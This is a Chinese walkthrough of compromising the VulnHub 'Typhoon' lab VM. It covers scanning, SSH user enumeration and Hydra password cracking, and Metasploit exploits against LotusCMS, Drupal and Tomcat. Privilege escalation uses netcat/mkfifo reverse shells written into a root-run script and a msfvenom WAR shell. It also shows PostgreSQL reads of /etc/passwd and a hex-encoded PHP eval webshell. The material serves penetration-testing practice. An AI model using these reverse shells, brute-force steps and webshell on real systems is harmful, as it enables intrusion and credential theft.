一、靶机下载
下载链接:download.vulnhub.com/typhoon/Typ…
二、Typhoon靶机搭建
将下载好的靶机环境,用VMware导入即可使用,文件->打开
导入到合适位置即可,默认是C盘,成功导入虚拟机之后,打开即可
三、攻击过程
kali IP:192.168.212.129
靶机IP:192.168.212.9
注意:因后面虚拟网卡更换,故重新获取的靶机IIP地址(后面几步)
1、主机发现
nmap -sn 192.168.212.0/24
2、端口扫描
方法一:nmap -sS 192.168.212.9
方法二:masscan 192.168.212.9 -p 0-65535 --rate=10000
3、端口服务识别
nmap -sV -p- -A 192.168.212.9
nmap -sV -T4 -O 192.168.212.9 -p 21,22,25,53,80,110,111,139,143,445,631,993,995,2049,3306,5432,8080
4、漏洞查找与利用
21端口(ftp)
nmap扫描发现可以匿名访问
浏览器访问,发现什么都没有
22端口(ssh)
发现ssh的版本是OpenSSH 6.6.1p1,存在用户名枚举漏洞,使用msf中的ssh枚举脚本(auxiliary/scanner/ssh/ssh_enumusers)
使用cewl收集页面可能是用户的信息,并添加几个常用的用户名,制作一个用户名字典
或者用字典:raw.githubusercontent.com/fuzzdb-proj…
将用户枚举python脚本复制到/root目录下
使用枚举用户脚本枚举用户
python 40136.py 192.168.10.162 -U user.txt
枚举出来用户名为 for,netsecchallenges ,TESTING ,infosec,admin
使用hydra破解密码
进入/usr/share/wordlists/路径下kali自带的密码字典rockyou.txt.gz进行解压使用即可,gzip -d rockyou.txt.gz (gzip -d是解压文件)
hydra -l admin -P /root/rockyou.txt ssh://192.168.212.3 -t 6,下图成功破解admin账户的密码metallica
尝试用admin账户ssh登录目标,登录成功
开始提权
第一种提权方法:
查看版本号
kali搜索利用exp
启动kali的WEB功能,将exp复制到WWW目录
靶机下载exp
第二种方法提权:
登陆进去以后我尝试命令:sudo bash , 再输入密码metallica发现成功的GET到root权限,这种方法不稳定(运气好,密码也是metallica)
25端口(smtp)
发现开放25端口,版本为Postfix smtpd
使用smtp-user-enum 枚举用户名
smtp-user-enum -M VRFY -U user.txt -t 192.168.212.3,枚举出用户名admin,root,Typhoon
53端口(DNS ISC BIND9.9.5-3)
查看是否存在漏洞,发现dns版本存在拒绝服务漏洞
80端口(http Apache httpd 2.4.7)
LotusCMS
1.扫描网站后台目录
发现http://192.168.212.3/cms,尝试弱口令,失败
漏洞库查找是否有对应的漏洞
在kali中打开msfconsole,并使用了以下exp
成功获得shell,转换成交互式tty,新建一个终端:python -c ‘import pty;pty.spawn("/bin/bash")’
然后就是提权,提权方式同上
Drupal cms
根据扫描出来的目录访问
漏洞库查找是否有对应的漏洞
在kali中打开msfconsole,并使用了以下exp
成功获得shell,转换成交互式tty,新建一个终端:python -c ‘import pty;pty.spawn("/bin/bash")’
然后就是提权,提权方式同上
mongoadmin
发现http://192.168.212.3/mongoadmin/
发现是MongoDB数据库的web管理页面,点击change database,出现如下界面
点击creds,发现账户密码
账户密码typhoon/789456123
尝试用ssh登录,成功登陆
查看系统版本以及内核版本进行提权提权操作如上
445端口
发现目标开放了445端口,使用enum4linux枚举目标共享信息
enum4linux详细用法:www.ctolib.com/topics-8279…
发现允许空账户、空密码登录,共享文件typhoon
远程挂载
mount -t cifs -o username=’’,password=’’ //192.168.212.3/typhoon /mnt
8080(http Apache Tomcat/Coyote JSP engine 1.1)
发现开放了8080,浏览器访问http://192.168.212.3:8080
dirb扫描
发现http://192.168.212.3:8080/manager/,提示需要输入密码
使用msf auxiliary/scanner/http/tomcat_mgr_login 破解tomcat用户名密码
默认自带用户名密码字典
设置目标IP地址,爆破即可
使用获得的用户名登录,发现tomcat 的版本是Version 7.0.52
使用metasploit的一个模块tomcat_mgr_upload来尝试进行攻击,利用成功,获得meterpreter会话
Tomcat 经过身份验证的上传代码执行
目标服务器是 Apache
Tomcat,而且泄露了管理后台,我们可以利用一个模块来执行 payload。这个 payload 作为一个 war 文件上传,这个 payload 包含了一个 jsp 应用,该 jsp 应用使用 POST 方式向 /manager/html/upload 组件发起请求。请注意,根据目标主机的不同,这个 payload 的设置也会有所不同。比如,如果你的目标主机是 Windows,那么你得使用原生的 windows
payload。
成功返回shell,提权方法同上
利用配置不当进行提权(一)
账户密码typhoon/789456123 说是远程登陆
我们需要使用Msfvenom创建一个bash代码
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.212.129 lport=9999 W
之后将上面生成的恶意代码在目标靶机系统中添加到script.sh文件
添加方法:echo “mkfifo /tmp/jxlbz; nc 192.168.212.129 9999 0</tmp/jxlbz | /bin/sh >/tmp/jxlbz 2>&1; rm /tmp/jxlbz” > script.sh
由于恶意代码是使用script.sh文件执行的。因此我们在netcat监听器上有一个反弹shell。
在攻击端开启监听,目标端执行脚本,下图可以看到直接获得管理员权限
利用配置不当进行提权(二)
用低权限用户将构造的命令写入script.sh,令文件调用以root身份运行的/bin/sh,然后反弹shell,就可以获得root权限了
echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.212.129 1234 >/tmp/f” > script.sh
kali端口监听
执行shell文件
shell成功反弹
Tomcat的后台管理获取shell
msfvenom生成WAR文件
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.212.129 lport=5555 -f war -o evil.war
使用7z l evil.war 查看evulll.war具体内容
上传evil.war文件
攻击端监听,浏览器访问上传的恶意Web应用程序
接下来便是提权,方式和之前的一样.
5432(PostgreSQL)
使用auxiliary/scanner/postgres/postgres_login,尝试爆破PostgreSQL数据库用户名密码
成功爆破出来PostgreSQL用户名以及密码postgres:postgres
登录数据库
列下目录
读取权限允许的文件
select pg_read_file(‘postgresql.conf’,0,1000);
建表,并使用copy从文件写入数据到表
DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM ‘/etc/passwd’;select * from MrLee limit 1 offset 0;
成功读取到了/etc/passwd第一行
直接读出所有数据
SELECT * FROM MrLee;
利用数据库写文件
INSERT INTO MrLee(t) VALUES(‘hello,MrLee’);
COPY MrLee(t) TO ‘/tmp/MrLee’;
SELECT * FROM MrLee;
显示里面有一句hello,MrLee,成功写入文件,并成功读取到源内容
写入木马
创建OID,清空内容
SELECT lo_create(9999);
delete from pg_largeobject where loid=9999;
//创建OID,清空内容
接下来就是写入木马了,使用hex
insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode(‘3C3F70687020406576616C28245F504F53545B2761275D293B3F3E’, ‘hex’));
菜刀连接
接下来就是提权了
总结
1.信息收集、目录扫描、漏洞分析与利用
2.getshell方法
1.ssh爆破
2.lotus cms漏洞利用
3.Drupal cms漏洞利用
4.mongoadmin 数据库管理web页面查看用户名、密码
5.tomcat tomcat_mgr_upload漏洞
6.PostgreSQL未授权访问
3.提权方法
1.sudo提权
2.内核版本提权
3.利用配置不当进行提权